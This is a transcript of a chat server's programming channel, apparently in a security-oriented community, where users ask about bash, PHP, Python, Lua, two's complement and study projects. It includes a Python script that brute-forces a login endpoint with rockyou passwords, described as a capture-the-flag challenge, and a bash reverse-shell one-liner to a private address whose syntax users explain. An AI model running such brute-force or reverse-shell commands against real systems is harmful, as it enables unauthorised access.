programming

[ancient terrace]

the site already runs the input through stdin when the program runs

[true pumice]

What's your goal?

[ancient terrace]

output the input 3 times in a single string, spaces included

[true pumice]

Well, to combine strings in bash, you do it like this:

#!/bin/bash

VAR1="Hello,"
VAR2="World"
VAR3="$VAR1 $VAR2"
echo "$VAR3"

Output
Hello, World

To read input, you do it like this:

#!/bin/bash

echo Enter your name:
read name
echo Hello, $name

Maybe you can figure it out from this?

[brazen eagle]

input being an array needs a bit of special treatment first, but that should be easily searchable

[ancient terrace]

@true pumice you can also read input if you pipe cat

which is in this case easier to do so I won't have to go through every individual line

cat is already piped through the website

Guys, is it worth taking the AWS Cloud Practitioner certification?

I'm studying every day to get certified

and

i want to know if it's worth

another question, AWS API Gateway or Kong? I am starting a project and I am between these two. i don't want to be dependent on the AWS API Gateway, but at the same time i want to use the facilities of AWS! AAAAAA so difficult to decide!

[fleet reef]

hi so I have this:

<?php
$usernameErr = $emailErr = $passwordErr = "";
$username = $email = $password = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (empty($_POST["username"])) {
      $usernameErr = "Username is required";
    } else {
      $username = ($_POST["username"]);
    }
  
    if (empty ($_POST["email"])) {
      $emailErr = "Email is required";
    } else {
      $email =($_POST["email"]);
    }
  
    if (empty($_POST["password"])) {
      $password = "";
    } else {
      $password = ($_POST["password"]);
    }
$ip = $_SERVER['REMOTE_ADDR'];

}

$username = test_input($_POST["username"]);
if (!preg_match("/^[a-zA-Z-' ]*$/",$username)) {
  $usernameErr = "Only letters and white space allowed";
}

if ($stmt = $GLOBALS['database'] -> prepare("SELECT `id` FROM `users` WHERE `username` = ? OR `email` = ?"))
{
    $stmt -> bind_param("ss", $username, $email);
    $stmt -> execute();
    $stmt -> bind_result($id);

    while ($stmt -> fetch())
    {
        echo "Could not create account!";
        die();
    }

    $stmt -> close();
}

if ($stmt = $GLOBALS['database'] -> prepare("INSERT INTO `users` (`username`, `email`, `password`, `ip`) VALUES (?, ?, ?, ?)"))
{
    $stmt -> bind_param("ssss", $username, $email, $password, $ip);
    $stmt -> execute();
    $last_id = $stmt -> insert_id; // The ID of the row just inserted

    // Once the user is logged in, update the user's session variables
    $_SESSION['id'] = $last_id;
    $_SESSION['username'] = $username;
    $_SESSION['email'] = $email;

    $stmt -> close();

    // Redirect to homepage
    header("Location: " . $GLOBALS['home']);
}

?>

this

and I just want to add stuff like so if I put a symbol in the username it doesnt work

[true pumice]

Can you put this into code blocks, please

```php

code here

```

Thanks:)

[fleet reef]

didnt know I can do it here too

i dont need any server side

literally just on the form

[hollow dagger]

Since this is about careers - try #cyber-and-careers

[true pumice]

$username = preg_replace('/[^a-z]/i', '', $username);

You can use preg_replace to replace the symbols form the username.

If you want to display an error, you will have to do something like this:

if (!preg_match("/[a-z0-9]/i", $username){
  echo "<p>Username field has invalid characters!</p>";
}

*Not sure if this works, just an example so that you know what you're doing

[fleet reef]

thank you

[onyx merlin]

Yes you do

Client side filters are trivial to bypass, you just edit the request in burp or remove the filter in your browser

[brazen eagle]

also PHP is all server-side anyways

[hollow dagger]

I am googling to check but just in case .... what can you in C# that you cannot in C or C++ ?

[surreal bronze]

Just out of pure curiosity is there any difference in speed between if not x in list and if x not in list ?

[surreal bronze]

Which one is more cleaner to use? I'm gonna say if x not in list not too sure

[true pumice]

Hold on that output is wrong lol

Okay, so

They're pretty much the same because they're both doing the same thing

But, if x not in list is much cleaner due to it being hinting when someone is reading your code if they are a Python developer
In JavaScript, you would use if (!var) (depending), so if not x would make more sense to them, possibly, but either way they're both pretty readable.

[magic falcon]

I'll throw in that I think Jabba is on the right track to get a reasonable metric - not sure how big sample size is, but it should be 'sufficiently large'. Usually that means at least a few thousand elements in the list.
Another thing to keep in mind, is that the py environment is going through multiple layers of abstraction before your code hits execution on the CPU. System time and Wall time are different, and the scheduler will likely cause additional complications getting consistent timing out of that kind list iteration.
Consider real world problems are doing different kinds of matching. What if the list has an element type of string, is a specific object or is even generalized to as a list of Object?

[magic falcon]

'Cleaner' is going to be context dependent on what the goal of the check is for. Also do some step through of trivial cases to ensure your logic is doing what you expect.

Oh yeah. wahaha

I think it's text-align: centre

[real iron]

no

its in a list

but i want it under the image not beside it

[magic falcon]

You'll probably need to wrap each list item in a custom <div> to get the layout of the content you want

[real iron]

when i put it on a separate div it puts the other image on a new line

[red fable]

I have a funny problem. It made me laugh because
I don't understand what happened.

I made a simple script to sort wordlists:
for line in $( cat /usr/share/wordlists/rockyou.txt | sort ); do echo $line; done > ckooruy.txt

the output file looks something like :

It prints STDOUT just fine.

but this redirect seems to be an issue

I'm not sure why it's all in machine code

or a better option than >

my 'guess' it's all translated, but > doesn't un-translate it... not sure but it's curious and i found it funny

[valid sand]

I think your issue is that you seem to be redirecting the for loop, not the echo

[red fable]

It does work if I simply 'echo'. It will write everything out in STDOUT

[valid sand]

no i mean

you've got the redirect after done, which is for the for-loop, not after the $line which would be for the echo

[red fable]

hmm

i'll try and get back to you

[valid sand]

Though I question the necessity for the for-loop in the first place, can't you just use sort /usr/share/wordlists/rockyou.txt > ckooruy.txt?

[valid sand]

oh, and you'd wanna use the append thing, >>, rather than > in that scenario

[faint sparrow]

it's non printable characters at the beginning because the rockyou list contains passwords like that, and they get put first after sorting, nothing to worry about

[red fable]

i haven't though of that. Guess i made it more complicated than it needed.

I'll try both

[red fable]

That's all it is, tho.

None of it's human-readable

[faint sparrow]

you sure? if i run the exact same command it does what it's supposed to do
a ton of passwords in the list don't contain letters and symbols are put in first on sorting, you just have to scroll low enough

[red fable]

it never printed those in stdout, that's weird...

maybe i don't fully understand, then

(the strange characters)

[faint sparrow]

depending on the program you use, they may be shown in different ways

[valid sand]

I guess I learnt something today, turns out you can use a redirect after a for-loop like that 🤔
Never seen that before

[faint sparrow]

so in an edfitor they might show up but on terminal they might just be invisible

they are unprintable after all

[red fable]

ah, i see

I'll check the whole thing again and see. I'm just trying to make it complicated for the sake of 'learning'

but i also didn't think to just use normal commands

no loop

hmmm... i dunno

that's the end

so it's entirely.... whatever that is. Binary?

No idea

[faint sparrow]

those might be some of those weird characters that aren't printed correctly in some cases

[red fable]

this is all there is, lol

no clue... well.

[red fable]

I tried the opposite. Placed the redirect before the end, in it's normal place and it seems to just hang. I guess the loop isn't meant to do this?

[faint sparrow]

most likely it doesn't hang, but it's just slowly redirecting the data

remember, sorting a big file takes a bit

but then you run redirect for each line separately

which takes a long time

[red fable]

ahh, good point

hmmm... still the same result. It's so weird.

it's strange. I'll move on, for now.
Maybe try to figure it out later.

[brazen eagle]

Why not use tee?

[red fable]

lol brb

[brazen eagle]

Instead of redirection operators

sort file | tee output

[tropic minnow]

eh, might need tee -a so you don't keep overwriting the output

[red fable]

I don't want to append. Is that the -a?

I want one, clean list

[brazen eagle]

-a is append

[red fable]

brb, gonna read on it. haha

[brazen eagle]

But there are weird things in rockyou

[red fable]

weird?

[brazen eagle]

Yes

Mobile is being stupid again

[true pumice]

Mhm, super irritating when you’re making a brute force-type tool and you have to filter UTF-8 in a language you don’t understand at all

[red fable]

ahh, nice. It writes it out, then redirects

the stdout is annoying but i guess it's an easy fix

and yeah, i guess the katakana was part of the file. I never knew that...

huh...

if that's the case, normal redirect might work. I was jumping to the end of the file, expecting to see "z"

that's what i get for assuming

[brazen eagle]

Tee will stdout yeah

You can normal redirect after debugging but I assumed you wanted console

[sinful notch]

Out of curiosity, anyone here with an abundance of knowledge about twos compelement

It has been bugging me for days

[magic falcon]

Many of us have degrees in CompSci. What's your question?

[sinful notch]

I understand we create a cyclic group of Z/2^k, but the addition of 1 i dont fully grasp why it works

I know cyclic groups have 2 primitive numbers

I know we find these with ord(n)=1

Do we use this to generate a group/from this group to find its inverse?

Couldnt find any papers about this

[magic falcon]

I think you are misunderstanding what Z is

And how it applies to binary

Have you read the wikipedia article on 2's complement?

[sinful notch]

Yes, i understand how it works in practice

I dont understand the math behind on the addition step

Like in

Take 5, signed int, big-endian

0101

Flip bits

1010

Add one

1011

Because 8 4 2 1

1011 - signed int, start with 1 means neg

First 1 is -8

011 is positive 3

-8 + 3 = -5

I have trouble understanding why the addition of 1 gives us these capabilities

[sinful notch]

So in this example i understand we work with modulo 2^8

Flip bits we move to neg side

Adding 1 then must mean somekind of buffer has to exist right?

[brazen eagle]

I think it may be about representing 0

Gods that course was so long ago

Say you have -0, then in one's complement it'll be 1111. Add one for 2's complement and you're back to 0000

Dropping the overflow bit

[sinful notch]

Ah that would make sense

God should have taken cs lol

[brazen eagle]

-1 would be 1111, -2 : 1110, ...

[sinful notch]

It has to then buffer second bit also?

[brazen eagle]

Eh?

Well it makes the math work for addition better as well... -2 + 3 = 1110 + 0011 = 0001

(dropping the overflow)

[sinful notch]

Oh yeah right

[sinful notch]

Thanks!

[wispy kestrel]

[brazen eagle]

Pretty sure modulo arithmetic is to blame though

-1 % 16 = 15

Unless I'm remembering wrong, it's been over 15 years ..

[sinful notch]

Youre right on that

[brazen eagle]

Modulo gets weird with negatives

[sinful notch]

It does

And with cyclic groups even weirder

[brazen eagle]

Never got that far into number theory, I'm an engineer

[sinful notch]

I find myself struggling with basics on many programming task mainly because my base knowledge was built on top of Matlab

Signed ints are quite hard to work with tbh, especially with asymmetric encryption

Weird route of network engineering -> pure math -> cybersec/cryptology

[brazen eagle]

shouldn't be using ints for asymmetric encryption

[sinful notch]

Shouldnt and cant really either

Is there any fast way to select a file in a linux shell after running ls?

[stoic badger]

What do you mean "select a file"? ls just lists files in a directory. You can interact with a file from wherever your want on the OS by using an absolute path

$ pwd
/opt
$ ls /home/kali/Desktop
file.txt
$ head -n 1 /home/kali/Desktop/file.txt
This is a completely made up file
$ cat /home/kali/Desktop/file.txt
This is a completely made up file
Something something text

[somber parcel]

yes, but you would need to type the absolute path or file name

e.g. in metasploit I'm able to select search results by number

which is much fast then typing the path of the exploit

[onyx merlin]

No, not absolute

You can use tab completion

This also isn't programming

[somber parcel]

I'm aware - I didn't see a better channel 😉

[onyx merlin]

#infosec-general

[somber parcel]

ok, thanks, tab completion works well

[brazen eagle]

Without knowing what you're trying to do, yes, it's a bug

[lilac holly]

oh lol I should've explained, I meant in the library or python itself and not my code

[brazen eagle]

without seeing more context, I cannot say

[safe wind]

what is the meaning of '%' in python? return "%i %i" % (max(nn),min(nn))

[onyx merlin]

It's being used for formatting there

It has multiple meanings

[safe wind]

In this case it formats a string with a tuple of integers?

I decided to study the Lua language, but i dont understand anything in the book made by Roberto Ierusalimschy

function fact(n)
if n == 0 then
return 1
else
return n * fact(n-1)
end
end
print("enter a number:")
a = io.read("*n") -- reads a number
print(fact(a))```

what? I thought that I would study lua, and not try to find a word here that I know.
is there any site with the basics of programming?

this is the first chapter

[glossy vapor]

What specifically don't you understand? "Factorial"?

[little hawk]

all this code

[glossy vapor]

Any reason why you chose lua specifically?

Because you have the book at hand or because you're interested in the language?

[little hawk]

interested in the language

I know absolutely nothing about programming, should I read another book

[glossy vapor]

I wouldn't start out with books, they might be tough to follow. If you're just getting into programming, try looking for a cheap course for beginners. Probably on Udemy

(They go for $10 almost always)

[little hawk]

ok, thanks

[glossy vapor]

Also, lua is kinda niche. Python might have more use cases in general and is probably easier to follow

[true pumice]

What are you trying to learn Lua for? @little hawk

[little hawk]

I dont know yet

probably games

[true pumice]

Have you considered any alternative languages?

Before starting a project, you need to determine the best programming language for the task.

@halcyon sphinx date("Y-m-d") returns the day, so unless the day changes it will try writing to the same exact file overwriting it, probably would want to change that to something that won't collide

Guys, I began to make videos on how to program with C, I want feedback from you https://youtu.be/7ihLRoX1qUc

[glossy vapor]

• Add voiceovers
• Speed up the pace a bit (No need for 18 mins of hello world)

You need to think what differentiates your way of making video from simply reading stuff on Tutorialspoint or similar

You might want to use a blog instead, since it seems like it's much easier to follow and you'd iterate through it faster

• a blog is a better reference in your CV than youtube videos (usually)

• you need to think of your target audience here. I bet almost every beginner C developer won't know what Kali is and won't be able to use the terminal properly. Use VSCode or similar so they have a friendly environment to learn in

[onyx merlin]

Also why Kali?

[sullen venture]

• might want to start writing scripts (not the programming kind, the "director"-kind) if you want to continue with videos. what you're doing, what you're saying, how long it takes, etc.
• as dextozz said, do voiceovers. code first, then voice over. you're not live coding on twitch
• write the code before you record, have it on another screen and type it from there
• record what you're saying in small bits. a few sentences max. nobody wants to hear you think or breath ('uhm', 'uuuhhhh', breathes in microphone)
• audio recording is a b*tch and getting it right takes a while. short sequences, clear & confident speech, don't have the mic close to your nose or mouth, use a pop-filter, etc.. that's something you have to practice and it will frustrate you in the beginning
• and why the heck kali?

[spring crown]

Thank you so much guys for all your feedbacks, or I will try next time to do a tryhackme walkthrough, still I don't know actually.

• For Kali, because I have ideas in my mind to teach things related to security for advanced users, like buffer overflow and things like reverse engineering, etc. but I guess you're right could be easy and better to have the work done on vscode.
• For the quality, yes absolutely right, I worked the video with my headset that I have on my job as a technical IT, and for recording I did that with OBS, and I had no idea how to do better, but now I will try to improve that.
  Thank you @glossy vapor @onyx merlin @sullen venture for your great feedback.

import os
import sys
import hashlib



username = "Alex".encode("utf-8").hex()

wordlist = "rockyou.txt"

with open(wordlist, "r") as wordlist:
    for x in wordlist:
        password = hashlib.sha512()
    
    r = requests.get("http://34.141.121.244:31342/auth?name=" + name + "&password=" + password)
    if 'Invalid' not in r.text:
        print(r.text)
        
        
    print(r.text)

http://34.141.121.244:31342/auth?name=416c6578&password=6226ff0e50b5313f287a6904ecf242b67d00d28bd211ddae51e8f044d24de0defd4daaa32eecac9bb13f9d2fe462941838937f16613aafdd075075ef9dfe7b64

this is the request

What are you trying bruteforce on googleusercontent.com?

@wispy socket

[wispy socket]

is a challenge

https://app.cyberedu.ro/challenges/62bee6e0-356c-11eb-a033-199a06b529d6/

@magic falcon

import requests
import os
import sys
import hashlib



username = "416c6578"

def main():

with open("rockyou.txt", "rb") as wordlist:
    for x in wordlist.readlines():
        password = hashlib.sha512(x.strip()).hexdigest()
    
    r = requests.get("http://34.141.121.244:31342/auth?name=" + username + "&password=" + password)
    if 'Invalid' not in r.text:
        print(r.text)
        break
     print(r.text)

main()

now i dont know how it work break function

damn, python beats me

[magic falcon]

You should re-examine what you think is supposed to happen

are you doing any step-through debuggin?

[wispy socket]

im sure this is the correct way, the problem is that the python is not my best friend

[magic falcon]

What have you done to determine your logic is correct?

[wispy socket]

so, the user is Alex, and i need to find the password, when the password is incorrect it shows me INVALID.

[magic falcon]

The problem isn't with python, if the code you pasted looks exactly like what is in your editor, it's structural.

[wispy socket]

i have a problem with the last condition

if the password is correct, how to make the program to show me the flag

i think is a problem with "break"

[wispy socket]

i solved

import requests
import os
import sys
import hashlib
import codecs


username = "416c6578"


def main():
    with codecs.open("rockyou.txt", "rb") as wordlist:
        for x in wordlist.readlines():
            password = hashlib.sha512(x.strip()).hexdigest()
            r = requests.get("http://35.242.216.162:30251/auth?name=" + username + "&password=" + password)
            if 'Invalid' not in r.text:
                print(r.text)
                break
            print(r.text)

main()

[magic falcon]

Yep.

[wispy socket]

there were some indentation errors

some tabs put incorrectly

[orchid mesa]

nice

[fiery linden]

can someone explain what** >&** does in
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

[whole yacht]

it redirects both stderr and strout to the specified file.

[untold iris]

Is it possible to delete arrays/tuples in python

If I slice all the data an error comes

nvm

[fiery linden]

can you explain each section?

bash calls bash program
-i makes the resulting shell interactive

& redirects stderr and strout to what??
/dev/tcp/10.0.0.1/8080 the address of the shell
0>&1 redirects input to the output file but why is this necessary?

[lament siren]

Try adding your declaration for your menuItems variable within your activeChanger function expression. I think right now it's not actively refreshing your nodeList everytime the function is called.

guys quick help with a pygame project !!!!

[brazen eagle]

ask the question, someone may answer

[mystic trellis]

i've created a shooter game and i want to display the score when a bullet hits the enemy but the counter doesnt work its only displayed in the screen

[lament siren]

What kind and for what purpose?

[mystic trellis]

global Hits
Hits=0
for b in bulletGr:
if pygame.sprite.spritecollide(b,invaders,True):
b.kill()
Hits=Hits+1
e=Enemy(player_image2,randint(4,8),randint(20,500),player_y2)
invaders.add(e)
font1 = pygame.font.Font(None, 30)
text_lose = font1.render("Hits: " + str(Hits), True, (200, 50, 255))
window.blit(text_lose,(20,60))

[untold iris]

what

Where else is the counter supposed to be displayed?

can you explain your error once again?

[surreal bronze]

Just a heads up, don't use global

https://softwareengineering.stackexchange.com/questions/148108/why-is-global-state-so-evil

[magic falcon]

There are certain times when it's OK-ish. But really, polluting global namespace that way is a terrible idea.

[upper remnant]

i just got an idea for a game:

what if there was a game where the main theme an 8bit version of its just a burning memory, and slowly turned into the actual song and at the beginning of the game you think its a normal game but as the game goes on there are slowly more game, terrain, and ui elements dissapearing and the colors and vibrance of the game slowly faded away until you reached the end of the game, which would be just a flat black and white area, and then when the person would least expect it, the game goes black, with the title of the game, but colorless and distorted. The game window would automatically close and the games own files would then further be deleted, leaving only a burning memory
it would be like a super mario 64 low poly type game
And then in teh game there would be like a single existential dread among all of the npc's. Like theyre all waiting for something to happen. but nothing ever happens, leaving all of them at the same spot for the entirety of the game
but wat do i know ¯(ツ)/

[glossy vapor]

Sounds fun. How would you program the deletion of the files though?

[upper remnant]

probably a .bat file or something

[wraith eagle]

Hello
on Kali system, I was returning the internet back after disabling it for activating monitor-mode.However I got an error while restoring wifi

how I can return wifi with monitor mode activated.

I wrote this code: service network-manager restart

But I will get this error

Failed to restart network-manager.service: Unit network-manager.service not found.

[magic falcon]

Do you understand how to troubleshoot problems with systemd?

Where to start, logs, what network-manager is?

[wraith eagle]

TBH, I started learning Kali last 1 day

So, do not be shy

:_)

[magic falcon]

Have you ever used linux before?

[wraith eagle]

Yes

last 3 years

[magic falcon]

Ok, so how familiar are you with systemd?

[wraith eagle]

no

I do not remember anything

I need to learn it

[magic falcon]

Alright - well, systemd unit.service should be where you start your documentation search

Next up is to learn what network-manager is, and what the default network stack is for Kali.

[wraith eagle]

Ohh

So I have to make a research on google to have a look on systemd unit.service

[magic falcon]

If you don't know anything about any of that, starting with doing wifi stuff with kali is going to really frustrating and painful.

[wraith eagle]

Yes

you are right

so where do I start ?

🙂

[magic falcon]

What was the linux distro you've been using for 3 years?

[wraith eagle]

I was watching some videos about (ethical programming)

[wraith eagle]

I use it for 1 week

I wasn't entering linux deeply

tbh

[magic falcon]

A good beginner distro would be ubuntu or fedora

[wraith eagle]

I was doing some experiment for super low potato pc

The first version I used was ubuntu

[magic falcon]

Create a VM, install from ISO.

[wraith eagle]

I already have VM

I mean what is the difference between ubuntu and kali

You know why I need kali for ?

https://tenor.com/view/hacker-gif-19246062

damn it

[magic falcon]

What are you trying to hack?

[wraith eagle]

(ethical hack)

please

do not make problems to me 😶

[magic falcon]

I'm asking so I can answer your questions better

[wraith eagle]

I am using it for fun and for security

Yes for ethical hacking

[magic falcon]

cool

so what were you trying to do with monitor mode? trying to understand the commands you ran and the system changes you made

[wraith eagle]

For enabling monitor mode you have to kill all internet tasks

[magic falcon]

If you aren't going to tell me the exact command you ran (preferably with screenshots) it's very difficult to tell what you did.

[wraith eagle]

I run this

airmon-ng check kill

to kill any progress of wifi or intent

and then I used this

ifconfig wlan0 down

to letting you adjust on wlan0 I think

[true pumice]

Why down?

[wraith eagle]

Do not laugh

I am really do not know

XDDD

I was too lazy to understand why

and yes

to enable the monitor

iwconfig wlan0 mode monitor

and then : ifconfig wlan0 up

I was trying to activate the connection but it does not work

:((

[magic falcon]

you should understand what everything you ran does, first

that's step 1

[wraith eagle]

I need pen and note book if you say so

np

[magic falcon]

if you are blindly running commands without understanding the reasoning why you should run a command, you are going to eventually brick the system

[wraith eagle]

I know the majority

not all

but about up and down and why idk

until now

[wraith eagle]

Still dead chat

weird

[onyx merlin]

Not a dead chat, just evidently not willing to support you blindly running commands as Juun said. Honestly wise.

The fact you're using ifconfig is a red flag, and the fact this is #programming is another as this isn't programming related

[wraith latch]

Morning!
I've got a Python function that's scraping a website to help look at average house sale prices per city:

def AvgPriceCollector(self):
        for city in BrowserInfo.cities:
            print(f"Data for the city of {city}:\n")
            try:
                session = requests.Session()
                r = session.get(BrowserInfo.URL.format(city), headers=BrowserInfo.headers, timeout=(5, 5))
                r.raise_for_status()
                soup = BeautifulSoup(r.text, 'html.parser')
                for child in soup.find_all('table')[1].children:
                    print(child.text)



            except requests.exceptions.Timeout as timeout:
                print(timeout)
            except requests.exceptions.HTTPError as httperror:
                print(httperror)
            except IndexError:
                print(f"No Data\n")```

The function works however the output isn't very easy on the eyes.
How would I best go about 'beautifying' a html table with actual headers, columns, etc?

The output for the above currently looks like this

[true pumice]

Are you sure you're allowed to scrape said website?

Websites like that usually do not like when you create tools like this

[wraith latch]

I didn't see anything that said I couldn't

[wraith latch]

Fixed it by using pandas

def AvgPriceCollector(self):
        for city in BrowserInfo.cities:
            print(f"Data for the city of {city}:\n")
            try:
                session = requests.Session()
                r = session.get(BrowserInfo.URL.format(city), headers=BrowserInfo.headers, timeout=(5, 5))
                r.raise_for_status()
                df_list = pd.read_html(r.text)
                df = df_list[0]
                df_head = df.head()
                print(f"{df_head}\n")```

[onyx merlin]

[wraith latch]

[winged magnet]

i m working on creating automating web testing tool using bash i need help regarding this can anyone guide me on this

i m on voice chat i will share my screen

[brazen eagle]

I'm not sure that bash is the best tool for this

[prime elk]

I was given 1 year to complete a student project, at first I planned to do an operating system with native support of running both EXE and ELF files via a service similar to wine or wsl1 that essentially translates the systems calls to system calls of the native OS but I realized the scope would be too big for 1 year so I ended up just choosing to make a tool that does that with multiple operating systems with one interface where you run the executable without having to know or care about the format or what OS it belongs to, my question is, is that project still feasible within the 1 year time scope or should I bring it down a notch again? It seems very interesting and if anyone has more sources to learn from that'd be lovely.

OS was too big because then I'd have to also implement processes and file system and some more system calls

I guess besides the scope question another question would be, is this a good student project idea? I think it's pretty good and it's kind of innovative given that there's no universal tool that does this, granted, installing multiple softwares is not that much of an issue but having it all at one place is pretty damn cool.

[vale rivet]

Hi guys, can i mount multiple image file system to a single mount point at once rather replacing with previous mounting point?

[onyx merlin]

Given it's just WSL with an if/else to detect exe or elf headers, I think the scope isn't enough

[onyx merlin]

This channel is for programming

[vale rivet]

Yes, I was actually wrote a shell script for that, but not working

[vale rivet]

This is what I was trying to here. But none of it working:)

It gives such error, did not create ext4 fs

[onyx merlin]

It's not really a programming topic, it's a linux question. Please use #infosec-general

[vale rivet]

ok

[winged magnet]

i was combining 3 to 4 tools in one so that i don't have to run them one by one using bash scripting

[wraith latch]

I'd suggest you think about which tools you want to combine, then ask yourself how you envision it to work, whether you want to do something with the output returned by any of these tools. You'd need to have a catch for those outputs, potential error messages etc. Might not be best suited to utilize Bash for this, I'd only ever use it to automate a boring task like for example checking a URL and incrementing numbers for let's say a IDOR vulnerability.
it sounds to me like you essentially want a wrapper for those tools, perhaps another language would be better suited?

Either way, don't let me stop you ofcourse. If you want to do it, you will need to start somewhere 🙂

[brazen eagle]

yeah start by automating one tool, then once that works, add another

[prime elk]

What? Just a WSL? Can you elaborate please? Translating system calls from one OS to another is no easy feat and you need to know the system internals of both to accomplish that, windows is even more the case since it's not open source and not documented that much

I'm gonna implement the compatibility layer functionality

I'm not gonna use any framework to do that for me

[onyx merlin]

WSL already does that

[prime elk]

Yeah but I'm not gonna use WSL

[onyx merlin]

It's crazy to take on that workload yourself

Terrible terrible idea.

[prime elk]

WSL 2 might be crazy but not WSL 1

[onyx merlin]

It is.

Bear in mind the resources and skills available to Microsoft, in comparison to one undergrad

[winged magnet]

I got it 👍

[winged magnet]

I try it in that way then 🙂

[glossy vapor]

Honestly, bring it down as much as possible, unless it's for masters or doctorate. Just get the highest grade/pass and move on. No one will really care about student projects.

If you want to do that anyway, do it in your free time without any pressure

[prime elk]

It's a very important project that could determine my future for the next 4-5 years if not more, could be a break into the industry so i want to make it as good as possible

[glossy vapor]

Really? Does it have the same effect if one outside of faculty?

Still... have you added any buffer for it? I'd make on original estimate in hours, then double that time

If that then sounds doable, you can pull it off probably

[prime elk]

I present it to a certain organization that is highly respected in the high tech industry in my country and can practically land me jobs in a lot of of great companies

im on some sort of course managed by that organization

where i learn a lot of stuff and then make any project i want

[glossy vapor]

Nice. In that case, come up with an estimate in how many hours it takes for you to execute this. Outline any big unknowns and risks and try to base your estimate on that

[prime elk]

well, what do you think about the idea? is it worth pursuing? is it say, equally educative as making my own OS (in the same timespan of course)?

If you don't understand, then you need to follow a better tutorial

[finite cedar]

ok

[onyx merlin]

Perhaps one that actually teaches rather than just encouraging you to copy.

[finite cedar]

i want to learn my friend sent this guy to me and said it was good

[magic falcon]

literally watch the next 2 seconds. It's not a total garbage tutorial, but text is often easier to follow than video or live demo.

But you should google the Java Class that the video uses, and work to understand how Java libraries are imported.

[finite cedar]

i did I'm confused it doesn't look like that for me

[finite cedar]

yea...

[magic falcon]

If the youtube person is using Eclipse, it should look the same. My Eclipse looks like that, from what I remember. If yours doesn't, you did something to the config.

[finite cedar]

no i didn't i even reset it

and it didnt look like his

[finite cedar]

What channels do you recommend?

[glossy vapor]

Just pay $10 for a highest rated Udemy course

YouTube is too inconsistent and not good enough

[true pumice]

Depends on how well you research

[glossy vapor]

No way that they researches well enough at the start. I mean, they are asking questions about syntax 🤷

[true pumice]

It’s all about the mindset and learning. If you’re not willing to put in the effort to learn at the start, why bother?

[glossy vapor]

Of course they are, but can you really expect them to know how to properly research stuff and sweat for hours trying to figure something out? Why wouldn't they just take a step-by-step course to learn the basics first?

It's just about getting them into this stuff slowly. No need to struggle when the entry can be completely painless. They've got years of struggle ahead of them if they continue

I wanna have a function restart itself on error in python, any idea what is that called or how to achieve it?
I am thinking something like using a try and on except run another function that calls the original function with the same parameters

but it would be great if I can do it in the same function or if there is something I can read about this

[true pumice]

def function(*args):
  try:
    # What you want to run
  
  except error as e:
    print(error)
    function(*args)

[lilac holly]

I can call the function from within itself?

[true pumice]

Mhm

Recursive

[lilac holly]

oh that's really handy actually, thanks

[cursive orchid]

btw

you'll wanna keep an error counter

otherwise it could keep trying to run forever

[true pumice]

Default Python recursive limit won't let it run forever

[magic falcon]

python will crash the stack way before that happens. I think max recursive depth is something like 200? it's not very much.

[lilac holly]

It only crashes once or twice during its runtime

        with ThreadPoolExecutor(max_workers=int(input("\n Number of threads ------>: "))) as executor:
            global wait_time
            wait_time = int(input("\n hours to run ------>:")) * 60 * 60
            page = str(input("\n page link ------>: "))
            executor.map(automate, proxies, combo)```

Is there a convenient way to pass a number to each thread?

consecutive numbers

This is a selenium script and it seems to crash whenever I increase the thread number to anything above 10 for no reason

so I was thinking about having each thread wait 30 seconds after the previous one has launched

[magic falcon]

a couple of different ways would be use a producer-consumer pattern or you could bind a function with your number when the thread is created - I've seen both used, with producer-consumer being more common

[brazen eagle]

pubsub is the way

[magic falcon]

for concurrency?

What needs to be done is to send the message in encrypted form, notify that the message has reached the recipient, and I need to send it with a signature. I found a library called gnupg, I will try to do it with it, but how should I do this communication? i.e. using smtplib like mail communication or using socket, I didn't quite get it.

[faint sparrow]

i think your best bet is looking at what the example scripts are doing

[sick scarab]

Alright, thanks for the tip

Im having trouble with last part and I don't want to search this but understand what to do

I finished the function

but the for loop has be a little confused

I had to put +1

[surreal bronze]

Have a look at line 8, for n in range(0,9) - the 9 is not inclusive (i.e it only goes from 0 to 8)

You need to do for n in range(0,10)

[lilac holly]

I know this but it says

0 to 9

[surreal bronze]

0,1,2,3,4,5,6,7,8,9 = 10

[true pumice]

@surreal bronze Can you make sure it's not Homework/ Assignments before helping, please 🙂

[surreal bronze]

My bad, will do next time 😅

[lilac holly]

I dont know what I should put

range(0.9)

or

(0, 10)

actually your right

from 0.9

it goes until 8

so your right

[surreal bronze]

is it homework / assignment?

[lilac holly]

its coursera

very weird tho

how is this wrong?

[surreal bronze]

um @pine cypress

[lilac holly]

bros really tryna ban

me

[magic falcon]

I saw that. Saying that kind of thing is not acceptable.

[brazen eagle]

1! != 2

you didn't read the problem spec properly

there are two hard problems in programming: naming things, cache eviction, and off-by-one errors

[magic falcon]

What exactly are you hoping to accomplish?

Hi guys , I'm not able to understand the below PowerShell code snippet, can anyone help me to figure it out.
I can understand the basics of this code. But I'm not sure if it is actually uninstalling the application. To my knowledge we use "UninstallString" to uninstall application.
Thanks in advance.

--> ######## Make changes within the block ######## # Add Application name exactly as it appears in Add/Remove Programs, Programs and Features, or Apps and Features between single quotes. $appName = 'application-name' ############################################### # Define registry location for uninstall keys $uninstReg = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall') # Get all entries that match our criteria. DisplayName matches $appName (using -like to support special characters) $installed = @(Get-ChildItem $uninstReg -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {($_.DisplayName -like $appName)}) # If any matches were found, $installed will return a "1" and pass it to $exitCode flagging the device for remediation. if ($installed) { return 0 } else { return 1 }

Thoughts? https://github.com/carbon-language/carbon-lang

I haven't looked at it properly yet but seems interesting. I use Go a lot and don't like it so much, but a lower level language like Carbon might be up my street

[magic falcon]

I'm intrigued by the interopability part of it, but I don't see anything on validation and verification that it performs as expected. From a security standpoint, I couldn't find anything about secure carbon coding practices or even a simple toolchain evaluation.
Do you have any examples for unit testing or even behavioral testing?

[stone kayak]

I do not 🙏 I am going to recreate some infosec tool in Carbon to see how it works. Probably Sherlock? I am also interesting in the security part of it. I'm not sure whats so different but I'll find out by building in it 😄

[stone kayak]

I asked in the Carbon Discord how I can get started and:

Carbon is really experimental so there's not really a compiler right now

There's no compiler for a compiled language

i think the compiler is just an MVP to get it to do something

is what they meant

Think I'll give up and learn Nim on the weekend

[stoic badger]

I was planning on taking a look at how the disassembly looked to see what reversing is like but I guess not lmao

[magic falcon]

